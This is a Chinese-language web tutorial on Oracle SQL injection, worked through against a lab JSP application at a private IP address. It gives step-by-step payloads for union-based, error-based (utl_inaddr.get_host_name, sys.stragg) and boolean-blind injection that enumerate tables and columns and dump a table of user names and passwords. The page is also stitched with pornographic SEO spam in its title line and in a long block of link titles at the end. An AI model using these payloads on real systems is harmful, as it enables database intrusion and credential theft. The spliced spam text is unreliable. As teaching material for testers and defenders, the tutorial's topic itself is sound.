gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区

站長資訊網
最全最豐富的資訊網站

手把手教你完全掌握Oracle注入的小細節

本篇文章給大家帶來了關于Oracle注入的相關知識,其中包括注入的基本步驟以及報錯等問題,希望對大家有幫助。

手把手教你完全掌握Oracle注入的小細節

一、Oracle的獲取數據的基本技巧

1.特殊表

? dual表

◆ 是一個虛擬的表,用來構成select的語法規則,oracle保證dual里面永遠只有一條記錄。

? user_tables表

◆ 該表的table_name列存放著當前數據庫的所有表。

? user_tab_columns表

◆ 該表的column_name 存放著表的所有列。

2. Oracle查詢需要帶上表名

? 如select * from xxx (有一個萬能的表:dual表)。

3. 單行子查詢返回多行需使用 where rownum=1來規范

? rownum 是偽序列數,總是從1開始。

? oracle數據庫從數據文件或緩沖區中讀取數據的順序。

? 它取得第一條記錄則rownum值為1,第二條為2,依次類推。

4.一些基本的后續注入需要用到的內置函數

1. length()用法:

length(char) :返回字符串的長度。

2. COUNT(*)用法:

COUNT(*) 函數,返回在給定的選擇中被選的行數。

3. ascii()用法:

ascii(char) 表示將字符轉換為ASCII碼。

4. SUBSTR用法:

SUBSTR( 源字符串, 查找起始位置, [ 長度 ] )返回值為源字符串中指定起始位置和長度的字符串。

5. INSTR用法:

INSTR(源字符串, 要查找的字符串, 從第幾個字符開始, 要找到第幾個匹配的序號)返回找到的位置,如果找不到則返 回0. 默認查找順序為從左到右。當起始位置為負數的時候,從右邊開始查找。若起始位置為0,返回值為0。

還有一些函數在后續的文章用到時解釋。

二、各基本注入類型基本步驟

環境為VMware上的以win2003為系統 jsp+Oracle的簡易網頁。

1.oracle聯合查詢注入

1.尋找注入點

這一步在我的實驗環境中表現的很明顯,但是在真實環境中,還是需要找到合適的注入點,基本的步驟就是找到與數據庫交互的輸入框,然后判斷這個輸入框的數據類型,以及它的數據的閉合方式,然后添加一些判斷語句查看是否存在注入。

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --

在手動添加了一條數據過后,通過構造不同的payload,我們發現url是存在注入漏洞的,我們輸入的payload達到了它的效果。

3.判斷列數

Oracle數據庫同樣是通過order by 進行查詢數據表的列數判斷,order by必須是select -list表達式的列數,在真實環境中的一個表的列數可能數目較多,因此在列數判斷中我們最好使用二分法。

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --

在order by 3時頁面正常,但是在order by 4 時頁面出現錯誤,因此該查詢表的列數為3

4.Oracle聯合查詢

跟之前的學習的MySQL以及SQL server一樣,Oracle同樣通過union 來實現聯合查詢注入,并且不用跟SQL server聯合查詢注入一樣添加all,僅只用union就行,但是依舊要跟SQL server聯合查詢注入一樣判斷后續各列的數據類型。

接下里我們首先查看回顯位

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --

因為在Oracle數據庫中的select查詢語句必須跟上查詢列表,所以在union后面的select查詢語句我們必須跟上from dual ,dual表是Oracle數據庫中自帶的虛擬表,可當萬能用。

我們看到三個列全部會回顯在頁面上

下面我們還要通過更改null判斷各個回顯位的數據類型

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --

判斷出1號位的數據類型位字符型,接下來我們就可以通過構造不同的payload替換'1',來查詢到我們想要的數據

select user from dual 獲取用戶名

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --

select banner from sys.v_$version where rownum=1 獲取版本

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --

借助聯合查詢和默認表 user_tables獲取當前數據庫所有表名(第一行的)。

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--

查看下一行表名手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--

沒有其他的表,只有T_USER

如果可以顯示多行數據,則可以通過以下代碼查看到T-USER所有的列名,不能就只能通過跟上面類似的方法 用“<>”添加附加條件,去除已經查看到的數據然后查看下一行數據

手把手教你完全掌握Oracle注入的小細節

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--

獲取T_USER表中字段為SNAME、SUSER、SPWD,然后獲得他們的值

因為之前判斷過1,2,3號位都回顯,且都為字符型,所以下面一次性查詢,如果只有一個也可以一個一個的查詢

手把手教你完全掌握Oracle注入的小細節

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--

獲取數據

因為靶場比較簡陋,所以實驗過程只是體現自己的注入思路,并不代表T_USER表中的東西就是后臺賬號之內的敏感數據,真實環境中,你查詢的數據可以是任何你能查詢到數據。

2.Oracle報錯注入

1.尋找注入點

當你發現你找到的注入點在輸入錯誤數據會反彈數據庫原始報錯信息時,我們就可以使用報錯注入。然后前面的步驟基本一致,都是先找注入點,然后分析閉合方式。

2.報錯注入

Oracle報錯注入——類型轉換錯誤和報錯函數。

payload:1=utl_inaddr.get_host_name((SQL語句))

查詢結果: ORA-29257: 未知的主機 結果

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

T_USER即我們想要查詢的表名,如果不止一個也可以通過上面聯合查詢注入中提到的方法,在sql語句中添加附加'<>'條件遍歷表名。

跟聯合查詢用到的相同的語句查到接下來的列名,數據

下面我們可以用到一個函數來改變之前遍歷每個數據的麻煩:sys.stragg()在單行中獲取所有行信息。

手把手教你完全掌握Oracle注入的小細節

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--

||是Oracle中的字符拼接符號,在以上payload使用的時候需要將其更改為%7C%7C,即它的url編碼

我們通過拼接其他符號以及sys,stragg()函數使我們能夠清晰的分辨數據表中這個字段每一行的數據,在之前的聯合查詢注入同樣可以使用到這個函數,省去遍歷的麻煩

3.Oracle布爾盲注

1.尋找注入點

使用條件:HTTP返回包中沒有執行結果的數據和報錯信息。

當你發出你構造的payload時,頁面并沒有產生變化,即說明你的payload正確。

跟上面兩種注入一樣尋找注入點。

Oracle盲注核心——字符串截取函數、ascii轉換函數、條件判斷語句。

要注意的是在截斷函數中長度是包含開始截取位置那一位的。

2.Oracle布爾盲注

步驟跟之前的順序是一致的 拿表名-列名-數據,這里就不一一列舉了,主要說重點。

我們在拿一個數據時,比如說表名,我們需要先判斷他的長度

10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--

我們可以先將=改為>或者<然后通過二分法逐步的縮小范圍,最終確定表名一共有6位。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--

然后就用截取函數 先截取表名的第一個字符,然后轉譯為ascii碼,同樣可以通過>或者<逐漸縮小范圍最終確定表名第一個字符ascii碼為84 即為T,以此類推獲得完整表名

如果會使用burpsuit的話,可以通過burpsuit暴力破解,設置截取位置以及等于號后面的數字來跑出表名。

所有數據均可使用同樣的方法獲取

推薦教程:《Oracle教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区
男女污污的视频| 无码播放一区二区三区| 无码精品a∨在线观看中文| 亚洲a级黄色片| 黄色免费视频大全| av一区二区三区免费观看| 国产永久免费网站| 日韩精品无码一区二区三区免费 | 日本丰满少妇xxxx| 特级西西444| 久久久成人精品一区二区三区| 国产日韩一区二区在线| 成人一级生活片| 成人小视频在线观看免费| 99九九99九九九99九他书对| 麻豆一区二区三区视频| 日本免费观看网站| 日韩视频在线免费看| 99热在线这里只有精品| 国产一区二区三区精彩视频 | 成年在线观看视频| 在线视频一二区| 中文字幕中文在线| 色噜噜狠狠永久免费| 日韩精品免费播放| 91最新在线观看| 日本超碰在线观看| 黄色小视频免费网站| 日韩成人精品视频在线观看| 第一区免费在线观看| 日韩大片一区二区| 久久人人爽人人片| 国产成人一二三区| 婷婷五月综合缴情在线视频| 18禁免费无码无遮挡不卡网站 | 国产日韩av网站| 成人中文字幕在线播放| 欧洲精品一区二区三区久久| 成年人午夜免费视频| av动漫在线观看| 污污动漫在线观看| 91日韩精品视频| 久久久久久久久久久综合| www污在线观看| 免费观看日韩毛片| 亚洲欧美日韩精品一区| 亚洲最新免费视频| 成人免费aaa| 日韩av片专区| 国产精品久久久久7777| 国产亚洲精品网站| 欧美精品 - 色网| 成年人午夜视频在线观看| 三年中国国语在线播放免费| 奇米777在线| 欧美日韩亚洲一| 国产精品自在自线| 精品国产一区三区| 中文字幕第17页| 9久久9毛片又大又硬又粗| 国产免费又粗又猛又爽| 国产精品一二三在线观看| 亚洲熟妇国产熟妇肥婆| 欧美精品久久久久久久久25p| 99精品一区二区三区的区别| 999精品网站| 91精品国产毛片武则天| 亚州精品一二三区| 99久久国产综合精品五月天喷水| 日本人视频jizz页码69| 国产av人人夜夜澡人人爽麻豆| 一级做a免费视频| 99精品视频在线看| 女人床在线观看| 亚洲精品www.| 白嫩少妇丰满一区二区| 国产 欧美 日韩 一区| 亚洲视频第二页| 中文字幕乱码人妻综合二区三区| 亚洲精品怡红院| 夫妻免费无码v看片| 免费视频爱爱太爽了| av免费一区二区| www.欧美日本| 爆乳熟妇一区二区三区霸乳| 免费高清一区二区三区| 警花观音坐莲激情销魂小说| 日韩在线不卡一区| 182午夜视频| 99视频免费播放| 欧美日韩一区二区三区电影| 日韩精品在线观看av| av片在线免费| 青青草原播放器| 中国黄色片一级| 日本免费观看网站| 美女福利视频在线| 婷婷无套内射影院| 免费一级淫片aaa片毛片a级| 特色特色大片在线| 亚洲AV无码成人精品一区| 国产999免费视频| 免费黄频在线观看| 国产高清av片| 男女爱爱视频网站| wwwjizzjizzcom| 成年人网站国产| 大荫蒂性生交片| 加勒比成人在线| 免费观看国产精品视频| 日本三级免费网站| 国产精品第12页| 香蕉视频网站入口| 国产91色在线观看| 九九九九九九九九| 做爰高潮hd色即是空| 中文字幕第一页亚洲| 人人妻人人澡人人爽精品欧美一区| 色姑娘综合天天| 日韩av中文字幕第一页| av之家在线观看| 另类小说第一页| 天天操精品视频| 超碰10000| 5月婷婷6月丁香| 欧美黑人又粗又大又爽免费| 亚洲va在线va天堂va偷拍| 亚洲精品国产久| 日本wwwcom| 午夜精品在线免费观看| 亚洲一区二区图片| 成年人午夜视频在线观看| 十八禁视频网站在线观看| 久久久九九九热| 人人干视频在线| 久久久久国产一区| 日韩精品久久一区二区| 日本黄色三级大片| 奇米777在线视频| 欧美一级在线看| 欧美xxxxxbbbbb| 色诱视频在线观看| 国产美女视频免费| 漂亮人妻被中出中文字幕| 日韩高清在线一区二区| 日韩精品在线中文字幕| www亚洲成人| 草b视频在线观看| 亚洲图片 自拍偷拍| 久久国产亚洲精品无码| 国产一区一区三区| 久草福利视频在线| 成年人午夜视频在线观看 | 午夜视频在线观| 国产aaa一级片| 99久re热视频精品98| 三年中国国语在线播放免费| 欧美国产视频一区| 亚洲无在线观看| 成人免费毛片播放| 欧美深夜福利视频| 国产 国语对白 露脸 | 色综合av综合无码综合网站| 国产一级片中文字幕| 亚洲精品高清无码视频| 香港三级韩国三级日本三级| 欧美大片免费播放| 欧美伦理视频在线观看| 免费看一级大黄情大片| 欧美黄色免费网址| 91社在线播放| 制服丝袜中文字幕第一页 | 最新视频 - x88av| 蜜臀一区二区三区精品免费视频| 黄色片网址在线观看| 欧美视频在线第一页| 亚洲天堂第一区| 婷婷激情小说网| 日韩va在线观看| 黄色永久免费网站| 午夜国产一区二区三区| 欧美自拍小视频| 成人在线观看黄| 国内自拍视频一区| 国产福利一区视频| 黄色av免费在线播放| 乱子伦视频在线看| 国产精品人人妻人人爽人人牛| 国产成人无码a区在线观看视频| 久久久亚洲精品无码| 91丨porny丨探花| 国产91美女视频| 妞干网在线免费视频| 日本va中文字幕| 在线观看免费视频高清游戏推荐| 欧美特黄aaa| 大桥未久一区二区三区| 4444亚洲人成无码网在线观看| 国产精品久久久久久久乖乖| 内射国产内射夫妻免费频道|